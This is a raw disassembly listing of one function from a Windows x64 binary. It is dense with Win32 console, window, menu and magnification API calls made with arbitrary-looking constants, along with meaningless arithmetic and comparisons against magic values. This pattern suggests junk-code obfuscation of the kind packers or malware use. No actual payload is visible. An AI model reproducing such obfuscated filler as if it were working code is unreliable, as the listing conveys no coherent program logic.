mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov qword [rsp + 0x1d310], rax
movabs rax, 0x71e1b29e2b2575
cmp qword [rsp + 0x1d310], rax
je 0x1401964cc
movabs rax, 0x794a9245ed19e4
cmp qword [rsp + 0x1d310], rax
je 0x14019647f
jmp 0x1401964e4
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov r9, qword [rsp + 0xbeb8]
mov rax, qword [rsp + 0xc328]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x26d]
mov ecx, dword [rsp + 0x6254]
call fcn.140197b30
jmp 0x1401964e4
movzx eax, byte [rsp + 0x253]
movzx ecx, byte [str.5qKr]
or eax, ecx
mov byte [rsp + 0x30b], al
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xc008]
mov rax, qword [rax]
add rax, rcx
mov qword [section..data], rax
lea r9, [rsp + 0xfdc]
mov r8d, 0x7c
lea rdx, [rsp + 0xc0d8]
mov rcx, qword [rsp + 0xc228]
call qword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov dword [rsp + 0x9448], eax
movsx eax, word [rsp + 0x1f50]
movsx ecx, word [rsp + 0x137c]
xor eax, ecx
mov word [rsp + 0x1f1c], ax
movsx eax, word [0x1401c8a10]
movsx ecx, word [rsp + 0x137c]
and eax, ecx
mov word [rsp + 0x1d04], ax
movzx eax, byte [str.5qKr]
movzx ecx, byte [rsp + 0x374]
and eax, ecx
mov byte [rsp + 0x26d], al
mov eax, dword [rsp + 0x6380]
mov ecx, dword [rsp + 0x6348]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x62f4], eax
mov rax, qword [rsp + 0xc0d8]
mov rcx, qword [rsp + 0xc210]
mov qword [rsp + 0x1d318], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1d318]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc1a0], rax
mov edx, 1
mov rcx, qword [rsp + 0xc2a0]
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov dword [rsp + 0x6340], eax
jmp 0x140196649
mov eax, dword [rsp + 0x6398]
mov ecx, dword [rsp + 0x62d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d4], eax
lea rax, [rsp + 0xc1c8]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x9434]
mov r8d, reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov dx, 0x8f
mov rcx, qword [rsp + 0xc2b0]
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
mov dword [rsp + 0x641c], eax
movsx eax, word [0x1401c8a10]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc268]
mov word [rcx], ax
mov eax, dword [rsp + 0x6328]
mov dword [rsp + 0x944c], eax
cmp dword [rsp + 0x944c], 0x288
je 0x140196673
cmp dword [rsp + 0x944c], 0x6bcc
je 0x14019668e
jmp 0x1401966a8
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [rsp + 0x253]
add eax, ecx
mov byte [rsp + 0x374], al
jmp 0x1401966a8
mov edx, 0xf8
mov rcx, qword [rsp + 0xc228]
call qword [sym.imp.KERNEL32.dll_TerminateJobObject]
mov dword [rsp + 0x6368], eax
mov r8d, 0x84
lea rdx, [rsp + 0xb0d8]
lea rcx, [rsp + 0xc188]
call qword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
mov dword [rsp + 0x633c], eax
mov edx, 0x7b
mov ecx, 0xe6
call qword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
mov dword [rsp + 0x9450], eax
jmp 0x140196865
movsx eax, byte [rsp + 0x375]
movsx ecx, byte [rsp + 0x1d7]
sub eax, ecx
movsx ecx, byte [rsp + 0x376]
movsx edx, byte [0x1401c8a12]
or ecx, edx
cmp eax, ecx
je 0x1401967c0
mov eax, dword [rsp + 0x6348]
movzx ecx, al
mov eax, dword [rsp + 0x6254]
shl eax, cl
mov dword [rsp + 0x6328], eax
movzx eax, byte [rsp + 0x375]
mov byte [rsp + 0x9454], al
cmp byte [rsp + 0x9454], 0x10
je 0x140196747
jmp 0x140196769
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f14], ax
jmp 0x140196776
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x6348], eax
lea rdx, [rsp + 0x29f60]
mov cl, 0xe6
call qword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
mov dword [rsp + 0x63d4], eax
movsx eax, byte [rsp + 0x1d7]
movsx ecx, byte [rsp + 0x375]
sar eax, cl
mov byte [rsp + 0x376], al
mov rcx, qword [rsp + 0xc250]
call qword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
mov dword [rsp + 0x6370], eax
jmp 0x140196865
mov rax, qword [rsp + 0xc008]
mov rcx, qword [rsp + 0xc210]
mov qword [rsp + 0x1d320], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1d320]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xbeb8]
mov rdx, qword [rsp + 0xc0d8]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
jae 0x140196865
mov eax, dword [rsp + 0x6254]
mov dword [rsp + 0x9458], eax
cmp dword [rsp + 0x9458], 0x6472
je 0x140196855
cmp dword [rsp + 0x9458], 0xb3fa
je 0x14019682e
jmp 0x140196865
call qword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov dword [rsp + 0x62a4], eax
movzx eax, byte [rsp + 0x253]
movzx ecx, byte [rsp + 0x374]
add eax, ecx
mov byte [str.5qKr], al
jmp 0x140196865
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
movzx eax, ax
mov dword [rsp + 0x6398], eax
mov eax, dword [0x1401c8a18]
mov dword [rsp + 0x945c], eax
cmp dword [rsp + 0x945c], 0x2e8e
je 0x1401968f3
cmp dword [rsp + 0x945c], 0x4440
je 0x140196891
jmp 0x140196933
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1f38], ax
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1f1c], ax
movzx eax, word [rsp + 0x1f0c]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
jmp 0x140196933
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xc1a0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc008], rax
lea r8, [rsp + 0xc230]
mov edx, 1
mov rcx, qword [rsp + 0xc2b0]
call qword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
mov dword [rsp + 0x633c], eax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x137c]
sub eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x375]
movsx ecx, byte [rsp + 0x376]
add eax, ecx
movsx ecx, byte [rsp + 0x1d7]
movsx edx, byte [0x1401c8a12]
add ecx, edx
cmp eax, ecx
jge 0x14019697c
jmp 0x14019699e
lea r8, [rsp + 0x1d328]
mov edx, 0x2a
mov rcx, qword [rsp + 0xc2b0]
call qword [sym.imp.KERNEL32.dll_SetTapeParameters]
mov dword [rsp + 0x6380], eax
lea rax, [rsp + 0x376]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x6374]
mov r8d, ILSaveToStream
mov rdx, qword [rsp + 0xc208]
mov rcx, qword [rsp + 0xc238]
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov dword [rsp + 0x9460], eax
movzx eax, word [rsp + 0x1f0c]
mov dword [rsp + 0x9464], eax
cmp dword [rsp + 0x9464], 0xb87
je 0x1401969f6
jmp 0x140196a14
mov rax, qword [rsp + 0xc218]
mov rcx, qword [rsp + 0xc130]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb910], rax
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xb910]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xba40], rax
movsx eax, byte [0x1401c8a12]
movsx ecx, byte [rsp + 0x376]
sar eax, cl
mov byte [rsp + 0x375], al
mov rax, qword [rsp + 0xc0d8]
mov qword [rsp + 0x1d330], rax
movabs rax, 0x74a3924739fb1a
cmp qword [rsp + 0x1d330], rax
je 0x140196a8b
movabs rax, 0x7df3a1ec0f8e22
cmp qword [rsp + 0x1d330], rax
je 0x140196b6c
jmp 0x140196b7a
lea rdx, [rsp + 0x6328]
mov rcx, qword [rsp + 0xc250]
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov dword [rsp + 0x6340], eax
mov eax, dword [rsp + 0x6254]
movzx ecx, al
mov eax, dword [rsp + 0x6328]
shl eax, cl
mov dword [rsp + 0x5ed0], eax
movsx eax, word [rsp + 0x137c]
mov dword [rsp + 0x9468], eax
cmp dword [rsp + 0x9468], 0x1a0
je 0x140196ae0
jmp 0x140196b50
mov rax, qword [rsp + 0xbeb8]
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1a0], rax
movsx eax, word [rsp + 0x137c]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f1c], ax
lea rax, [rsp + 0x376]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x9434]
mov r8d, reloc.SHELL32.dll_ILIsParent
mov dx, 0xd0
mov rcx, qword [rsp + 0xc1f0]
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
mov dword [rsp + 0x6340], eax
jmp 0x140196b6a
movzx eax, word [rsp + 0x1f0c]
movzx ecx, word [rsp + 0x1f20]
add eax, ecx
mov word [rsp + 0x1f14], ax
jmp 0x140196b7a
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov word [rsp + 0x1f0c], ax
jmp 0x140196d16
movsx eax, word [rsp + 0x137c]
movsx ecx, word [0x1401c8a10]
and eax, ecx
movsx ecx, word [rsp + 0x1f1c]
movsx edx, word [rsp + 0x1d04]
xor ecx, edx
cmp eax, ecx
je 0x140196bc4
mov eax, dword [rsp + 0x62a4]
mov ecx, dword [rsp + 0x62f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ed0], eax
jmp 0x140196d16
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [rsp + 0x374]
cdq
idiv ecx
movzx ecx, byte [rsp + 0x253]
cmp eax, ecx
jne 0x140196c7d
mov edx, reloc.SHELL32.dll_ILIsEqual
mov rcx, qword [rsp + 0xc2b0]
call qword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
mov dword [rsp + 0x946c], eax
mov eax, dword [rsp + 0x946c]
mov dword [rsp + 0x9470], eax
movsx eax, byte [rsp + 0x375]
movsx ecx, byte [rsp + 0x376]
sub eax, ecx
mov byte [rsp + 0x1d7], al
mov rax, qword [rsp + 0xa148]
mov rcx, qword [rsp + 0xbeb8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc008], rax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f1c]
and eax, ecx
mov word [rsp + 0x1d04], ax
lea rcx, [rsp + 0x29e50]
call qword [sym.imp.KERNEL32.dll_GetNumberOfConsoleMouseButtons]
mov dword [rsp + 0x9460], eax
jmp 0x140196d16
lea rcx, [rsp + 0x1d7]
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
lea rdx, [rsp + 0x29cd0]
mov rcx, qword [rsp + 0xc2b0]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
mov dword [rsp + 0x6340], eax
mov rax, qword [rsp + 0xc088]
movzx ecx, al
mov rax, qword [rsp + 0xb0d8]
sar rax, cl
mov qword [rsp + 0xba40], rax
movzx eax, word [rsp + 0xfdc]
movzx ecx, word [rsp + 0x1f20]
or eax, ecx
mov word [rsp + 0x1f0c], ax
mov rax, qword [rsp + 0xba40]
movzx ecx, al
mov rax, qword [rsp + 0xc0b0]
shl rax, cl
mov qword [rsp + 0xc118], rax
mov eax, dword [rsp + 0x6254]
mov ecx, dword [rsp + 0x5ed0]
sub ecx, eax
mov eax, ecx
mov dword [0x1401c7008], eax
mov rax, qword [rsp + 0xa148]
movzx ecx, al
mov rax, qword [rsp + 0xc0d8]
shl rax, cl
mov rcx, qword [rsp + 0xc008]
mov rdx, qword [rsp + 0xc1a0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x140196db6
mov edx, 1
mov rcx, qword [rsp + 0xc238]
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov dword [rsp + 0x633c], eax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f1c]
shl eax, cl
mov word [rsp + 0x1d04], ax
mov eax, dword [rsp + 0x6328]
movzx ecx, al
mov eax, dword [rsp + 0x6254]
shr eax, cl
mov dword [0x1401c7008], eax
movzx eax, word [rsp + 0x1f0c]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f14], ax
jmp 0x140196dd0
mov edx, reloc.SHELL32.dll_ILFindChild
mov rcx, qword [rsp + 0xc2c0]
call qword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
mov dword [rsp + 0x62f4], eax
jmp 0x140196ec2
mov eax, dword [rsp + 0x62f4]
mov ecx, dword [rsp + 0x62a4]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x6254]
mov edx, dword [rsp + 0x5ed0]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140196e34
mov eax, dword [rsp + 0x5ed0]
mov ecx, dword [rsp + 0x62a4]
or ecx, eax
mov eax, ecx
mov dword [0x1401c7008], eax
movsx eax, word [rsp + 0x137c]
movsx ecx, word [rsp + 0x1d04]
and eax, ecx
mov word [rsp + 0x1f1c], ax
jmp 0x140196ec2
movsx eax, byte [rsp + 0x375]
movsx ecx, byte [rsp + 0x1d7]
sub eax, ecx
movsx ecx, byte [rsp + 0x376]
mov dword [rsp + 0x9474], ecx
movsx edx, byte [0x1401c8a12]
movzx ecx, dl
mov edx, dword [rsp + 0x9474]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140196ec2
mov rcx, qword [rsp + 0xc2b0]
call qword [sym.imp.KERNEL32.dll_CancelIo]
mov dword [rsp + 0x641c], eax
movzx eax, word [rsp + 0x1f14]
movzx ecx, word [rsp + 0x1f20]
xor eax, ecx
mov word [rsp + 0x1f0c], ax
mov r9, qword [rsp + 0xc0d8]
movzx r8d, byte [rsp + 0x376]
movzx edx, byte [rsp + 0x374]
mov ecx, dword [rsp + 0x6254]
call fcn.140197b30
mov eax, dword [rsp + 0x62d0]
movzx ecx, al
mov eax, dword [rsp + 0x62cc]
sar eax, cl
mov dword [rsp + 0x62d4], eax
jmp 0x140197159
mov rax, qword [rsp + 0xbeb8]
mov rcx, qword [section..data]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc0d8]
mov rdx, qword [rsp + 0xa148]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
ja 0x140196f9e
mov r8d, 0xc6
mov rdx, qword [rsp + 0x1d328]
mov rcx, qword [rsp + 0xc150]
call qword [sym.imp.USER32.dll_ChildWindowFromPointEx]
mov qword [rsp + 0xc0e8], rax
mov r8d, 0x86
mov edx, 0xc7
mov rcx, qword [rsp + 0xc108]
call qword [sym.imp.USER32.dll_CheckMenuItem]
mov dword [rsp + 0x62f4], eax
mov rax, qword [rsp + 0xb0d8]
mov rcx, qword [rsp + 0xc088]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc118], rax
lea r8, [rsp + 0x1d338]
lea rdx, [rsp + 0xc100]
mov ecx, ILGetSize
call qword [sym.imp.USER32.dll_SetSysColors]
mov dword [rsp + 0x9460], eax
jmp 0x140197159
movsx eax, byte [rsp + 0x375]
movsx ecx, byte [rsp + 0x376]
sub eax, ecx
movsx ecx, byte [rsp + 0x1d7]
mov dword [rsp + 0x9478], ecx
movsx edx, byte [0x1401c8a12]
movzx ecx, dl
mov edx, dword [rsp + 0x9478]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14019707d
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov dword [rsp + 0x947c], eax
cmp dword [rsp + 0x947c], 0xb6
je 0x14019700a
cmp dword [rsp + 0x947c], 0x164
je 0x140197053
jmp 0x140197078
movsx eax, byte [rsp + 0x376]
movsx ecx, byte [rsp + 0x1d7]
and eax, ecx
mov byte [rsp + 0x375], al
mov rcx, qword [rsp + 0xc138]
call qword [sym.imp.USER32.dll_IsWindowEnabled]
mov dword [rsp + 0x6264], eax
mov eax, dword [rsp + 0x5ed0]
mov ecx, dword [rsp + 0x62a4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6254], eax
jmp 0x140197078
mov r8, qword [rsp + 0xc250]
mov rdx, qword [rsp + 0xc110]
mov rcx, qword [rsp + 0x1d340]
call qword [sym.imp.USER32.dll_SetPropW]
mov dword [rsp + 0x6264], eax
jmp 0x140197159
lea rdx, [rsp + 0x29e50]
mov rcx, qword [rsp + 0xc138]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x62e0], eax
lea rdx, [rsp + 0x29d70]
mov rcx, qword [rsp + 0xc308]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x6264], eax
mov rax, qword [rsp + 0xc1a0]
movzx ecx, al
mov rax, qword [rsp + 0xc0d8]
shl rax, cl
mov qword [rsp + 0xa148], rax
mov eax, dword [rsp + 0x62d4]
mov ecx, dword [rsp + 0x62d0]
or ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x62cc]
je 0x140197129
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfdc]
sar eax, cl
mov word [rsp + 0x1f20], ax
mov rax, qword [rsp + 0xb0d8]
mov rcx, qword [rsp + 0xc0b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc118], rax
lea rcx, [rsp + 0x29de0]
call sub.MAGNIFICATION.dll_MagGetFullscreenColorEffect
mov dword [rsp + 0x6264], eax
lea rdx, [rsp + 0x29d70]
mov rcx, qword [rsp + 0xc068]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x6280], eax
mov rdx, qword [rsp + 0xc2c0]
lea rcx, [rsp + 0x1f1c]
call qword [sym.imp.USER32.dll_OemToCharW]
mov dword [rsp + 0x6280], eax
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x1d04]
add eax, ecx
mov word [rsp + 0x137c], ax
mov rcx, qword [rsp + 0x1d348]
call qword [sym.imp.USER32.dll_SetCursor]
mov qword [rsp + 0xc2a8], rax
mov r9, qword [rsp + 0xc1a0]
movzx r8d, byte [rsp + 0x1d7]
movzx edx, byte [rsp + 0x30b]
mov ecx, dword [rsp + 0x62a4]
call fcn.140197b30
jmp 0x14019722d
mov rcx, qword [rsp + 0xc258]
call qword [sym.imp.USER32.dll_WindowFromPoint]
mov qword [rsp + 0x1d350], rax
mov rax, qword [rsp + 0xb0d8]
movzx ecx, al
mov rax, qword [rsp + 0xc0b0]
sar rax, cl
mov qword [rsp + 0xc118], rax
mov ecx, 0x1d
call qword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
mov dword [rsp + 0x6280], eax
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x1d04]
shl eax, cl
mov word [rsp + 0x137c], ax
lea rdx, [rsp + 0x29f60]
mov rcx, qword [rsp + 0xc138]
call qword [sym.imp.USER32.dll_KillTimer]
mov dword [rsp + 0x6268], eax
movsx eax, word [rsp + 0x137c]
movsx ecx, word [0x1401c8a14]
add eax, ecx
mov word [rsp + 0x1d04], ax
mov eax, dword [rsp + 0x62f4]
mov ecx, dword [rsp + 0x5ed0]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x6254]
mov edx, dword [rsp + 0x62a4]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x1401972bf
mov ecx, 0x62
call qword [sym.imp.USER32.dll_GetSysColor]
mov dword [rsp + 0x5ed0], eax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f0c]
sub eax, ecx
mov word [rsp + 0x1f14], ax
jmp 0x14019734b
movzx eax, word [rsp + 0x1f14]
movzx ecx, word [rsp + 0x1f20]
xor eax, ecx
movzx ecx, word [rsp + 0xfdc]
mov dword [rsp + 0x9480], ecx
movzx edx, word [rsp + 0x1f0c]
movzx ecx, dl
mov edx, dword [rsp + 0x9480]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140197320
mov r9, qword [section..data]
movzx r8d, byte [rsp + 0x1d7]
movzx edx, byte [rsp + 0x374]
mov ecx, dword [rsp + 0x62a4]
call fcn.140197b30
jmp 0x14019734b
mov rax, qword [rsp + 0xc0d8]
movzx ecx, al
mov rax, qword [rsp + 0xa148]
shr rax, cl
mov rcx, qword [rsp + 0xc1a0]
mov rdx, qword [section..data]
or rdx, rcx
mov rcx, rdx
mov rax, qword [rsp + 0xb0d8]
mov rcx, qword [rsp + 0xc118]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc130], rax
jmp 0x1401973f4
mov dword [rsp + 0x20], ILIsEqual
mov r9d, 0x40
mov r8, qword [rsp + 0xc208]
mov edx, 0x59
mov rcx, qword [rsp + 0xc030]
call qword [sym.imp.USER32.dll_GetMenuStringW]
mov dword [rsp + 0x62d4], eax
mov rax, qword [rsp + 0xc008]
mov rcx, qword [rsp + 0xa148]
sub rcx, rax
mov rax, rcx
mov qword [section..data], rax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfdc]
add eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov eax, dword [rsp + 0x62a4]
mov ecx, dword [rsp + 0x5ed0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62f4], eax
mov eax, dword [rsp + 0x62d0]
movzx ecx, al
mov eax, dword [rsp + 0x62cc]
shl eax, cl
mov dword [rsp + 0x62d4], eax
mov r9, qword [rsp + 0xc0d8]
movzx r8d, byte [rsp + 0x1d7]
movzx edx, byte [rsp + 0x374]
mov ecx, dword [rsp + 0x6254]
call fcn.140197b30
jmp 0x1401975c5
movzx eax, word [rsp + 0x1f14]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
xor eax, ecx
movzx ecx, word [rsp + 0x1f20]
movzx edx, word [rsp + 0xfdc]
and ecx, edx
cmp eax, ecx
jle 0x140197581
mov dword [rsp + 0x20], 0x1d
mov r9d, 0x92
mov r8d, 0xa
mov edx, 0xbf
mov rcx, qword [rsp + 0xc060]
call qword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [rsp + 0x6270], eax
mov rax, qword [rsp + 0xc088]
movzx ecx, al
mov rax, qword [rsp + 0xc0b0]
sar rax, cl
mov rcx, qword [rsp + 0xb0d8]
mov rdx, qword [rsp + 0xc118]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x1401974c8
jmp 0x14019751f
mov eax, dword [rsp + 0x62cc]
movzx ecx, al
mov eax, dword [rsp + 0x62d0]
shl eax, cl
cmp eax, dword [rsp + 0x62d4]
jl 0x1401974ff
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x1d04]
and eax, ecx
mov word [0x1401c8a10], ax
jmp 0x14019751f
movabs rax, 0x7bf874f2563f84
mov rcx, qword [rsp + 0xc008]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0d8], rax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f20]
sub eax, ecx
mov word [rsp + 0xfdc], ax
lea r9, [fcn.140197b30]
mov r8d, 0xc1
lea rdx, [rsp + 0xc030]
mov rcx, qword [rsp + 0xc170]
call qword [sym.imp.USER32.dll_SetTimer]
mov dword [rsp + 0x6254], eax
mov eax, dword [rsp + 0x6254]
mov ecx, dword [rsp + 0x62a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ed0], eax
jmp 0x1401975c5
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x30b]
cdq
idiv ecx
movzx ecx, byte [rsp + 0x253]
cmp eax, ecx
jge 0x1401975c5
mov r9, qword [rsp + 0xc0d8]
movzx r8d, byte [rsp + 0x1d7]
movzx edx, byte [rsp + 0x30b]
mov ecx, dword [rsp + 0x62a4]
call fcn.140197b30
mov rcx, qword [rsp + 0xc070]
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
mov dword [rsp + 0x62a4], eax
mov eax, dword [rsp + 0x62cc]
mov dword [rsp + 0x62d0], eax
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x137c]
sar eax, cl
mov word [rsp + 0x1d04], ax
movzx eax, byte [rsp + 0x1d7]
mov byte [rsp + 0x9484], al
cmp byte [rsp + 0x9484], 0x35
je 0x14019761d
jmp 0x14019761f
jmp 0x14019764c
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x62e0], eax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfdc]
sub eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
lea r9, [rsp + 0x6268]
mov r8d, 0x24
mov edx, ILGetSize
mov rcx, qword [rsp + 0xc138]
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
mov dword [rsp + 0x62e0], eax
mov rax, qword [rsp + 0xc0b0]
mov rcx, qword [rsp + 0xc118]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc088], rax
jmp 0x140197761
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f0c]
or eax, ecx
movzx ecx, word [rsp + 0x1f14]
mov dword [rsp + 0x9488], ecx
movzx edx, word [rsp + 0x1f20]
movzx ecx, dl
mov edx, dword [rsp + 0x9488]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x140197761
movzx eax, word [rsp + 0x1f0c]
movzx ecx, word [rsp + 0xfdc]
or eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f0c]
shl eax, cl
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov eax, dword [rsp + 0x62a4]
mov ecx, dword [rsp + 0x5ed0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6254], eax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfdc]
sub eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1d7]
add eax, 0x5d
mov byte [rsp + 0x1d7], al
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x1d04]
sub eax, ecx
mov word [rsp + 0x137c], ax
lea r8, [rsp + 0x29f60]
mov edx, 0x74
mov rcx, qword [rsp + 0xc058]
call qword [sym.imp.USER32.dll_EnumDisplaySettingsW]
mov dword [rsp + 0x6264], eax
lea r9, [rsp + 0x29c80]
xor r8d, r8d
mov edx, reloc.SHELL32.dll_ILGetNext
mov rcx, qword [rsp + 0xc230]
call qword [sym.imp.USER32.dll_SetMenuItemInfoW]
mov dword [rsp + 0x6264], eax
mov rax, qword [rsp + 0xb0d8]
mov rcx, qword [rsp + 0xc0b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc088], rax
lea rdx, [rsp + 0x6254]
mov rcx, qword [rsp + 0x1d338]
call qword [sym.imp.USER32.dll_InvertRect]
mov dword [rsp + 0x6338], eax
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x1d04]
shl eax, cl
mov word [rsp + 0x137c], ax
call qword [sym.imp.USER32.dll_GetDoubleClickTime]
mov dword [rsp + 0x62a4], eax
mov rax, qword [rsp + 0xb0d8]
movzx ecx, al
mov rax, qword [rsp + 0xc088]
sar rax, cl
mov qword [rsp + 0xc0b0], rax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f0c]
add eax, ecx
mov word [rsp + 0x1f14], ax
mov eax, dword [rsp + 0x6254]
mov ecx, dword [rsp + 0x5ed0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62a4], eax
call qword [sym.imp.USER32.dll_GetDoubleClickTime]
mov dword [rsp + 0x5ed0], eax
mov r9d, reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov r8d, 0xdd
mov edx, ILIsEqual
mov rcx, qword [rsp + 0xc150]
call qword [sym.imp.USER32.dll_DefDlgProcW]
mov qword [rsp + 0xc188], rax
mov dword [rsp + 0x20], PathYetAnotherMakeUniqueName
mov r9d, 0x89
mov r8d, 0x4f
